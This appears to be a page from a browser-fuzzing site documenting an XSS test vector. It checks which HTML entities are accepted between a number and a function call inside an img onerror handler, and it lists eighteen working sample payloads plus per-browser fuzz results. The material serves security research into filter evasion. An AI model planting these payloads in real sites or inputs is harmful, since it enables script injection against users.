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Entities allowed between function call and number

Chrome logo 18
Firefox logo 18
Edge logo 18
Safari logo 18

This vector uses Shazzer's new features to check which entities are allowed between a function call and number using images. The results are a bit inconsistent yet because I currently wait for page load.

hackvertor
Created byhackvertor
Created Jul 2, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryEntity Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml_entities
Template used:
<img src=data: onerror="1$[data1]log('html($[data1])')">

Sample payloads

<img src=data: onerror="1&amp;alert('&#38;amp;')">
<img src=data: onerror="1&AMP;alert('&#38;AMP;')">
<img src=data: onerror="1&ast;alert('&#38;ast;')">
<img src=data: onerror="1&comma;alert('&#38;comma;')">
<img src=data: onerror="1&gt;alert('&#38;gt;')">
<img src=data: onerror="1&GT;alert('&#38;GT;')">
<img src=data: onerror="1&Hat;alert('&#38;Hat;')">
<img src=data: onerror="1&lt;alert('&#38;lt;')">
<img src=data: onerror="1&LT;alert('&#38;LT;')">
<img src=data: onerror="1&midast;alert('&#38;midast;')">
<img src=data: onerror="1&NewLine;alert('&#38;NewLine;')">
<img src=data: onerror="1&percnt;alert('&#38;percnt;')">
<img src=data: onerror="1&plus;alert('&#38;plus;')">
<img src=data: onerror="1&semi;alert('&#38;semi;')">
<img src=data: onerror="1&sol;alert('&#38;sol;')">
<img src=data: onerror="1&verbar;alert('&#38;verbar;')">
<img src=data: onerror="1&vert;alert('&#38;vert;')">
<img src=data: onerror="1&VerticalLine;alert('&#38;VerticalLine;')">

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 18 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 18 results
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Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 18 results
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Firefox logo
Firefox 127.0 desktop macOS 10.15older version
Updated2 Jul 2024
Found 18 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 18 results
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Safari logo
Safari 18.0 desktop macOS 10.15.7
Updated2 Jul 2024
Found 18 results
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